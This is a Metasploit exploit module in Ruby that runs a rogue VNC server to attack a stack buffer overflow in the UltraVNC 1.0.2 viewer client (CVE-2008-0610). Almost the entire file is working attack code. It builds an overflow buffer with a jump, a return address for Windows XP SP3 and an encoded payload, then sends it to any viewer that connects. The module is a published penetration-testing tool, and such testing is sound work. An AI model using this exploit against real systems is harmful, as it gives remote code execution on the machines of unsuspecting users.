metasploit-framework/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow in UltraVNC Viewer 1.0.2 Release.

				If a malicious server responds to a client connection indicating a minor
				protocol version of 14 or 16, a 32-bit integer is subsequently read from
				the TCP stream by the client and directly provided as the trusted size for
				further reading from the TCP stream into a 1024-byte character array on
				the stack.
			},
			'Author'         => 'noperand',
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2008-0610' ],
					[ 'OSVDB', '42840' ],
					[ 'BID', '27561' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP3',	{ 'Ret' => 0x00421a61 } ], # vncviewer.exe, 1.0.2
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Feb 6 2008',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])
			], self.class)
	end

	def on_client_connect(client)
		return if ((p = regenerate_payload(client)) == nil)

		sploit = rand_text_alpha(1100)   	# junk, could be more efficient here
		sploit << "\x00\x04\x00\x00" 	 	# value to get around a write
		sploit << rand_text_alpha(12)	 	# random junk
		sploit << "\xEB\x06" << make_nops(2)	# short relative jump
		sploit << [target.ret].pack('V') 	# pop/pop/ret (default is in vncviewer.exe)
		sploit << payload.encoded

=begin
		We prepend the initial 12 bytes including the servers' desired protocol version ("RFB 003.016").
		- These bytes are read directly by a call to ReadExact() with a size of 12.

		...
		if (m_minorVersion == 14 || m_minorVersion == 16)
		{
			int size;
			ReadExact((char *)&size,sizeof(int));
			char mytext[1024]; //10k
			ReadExact(mytext,size);
			mytext[size]=0;
		...

		If minor version is 16 or 14, a 32-bit integer follows indicating the size of our data to read.
		We then append our data.
=end
		sploit = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x31\x36\x0a" << [sploit.length].pack('N') << sploit

		print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
		client.put(sploit)
		handler(client)
		service.close_client(client)
	end
end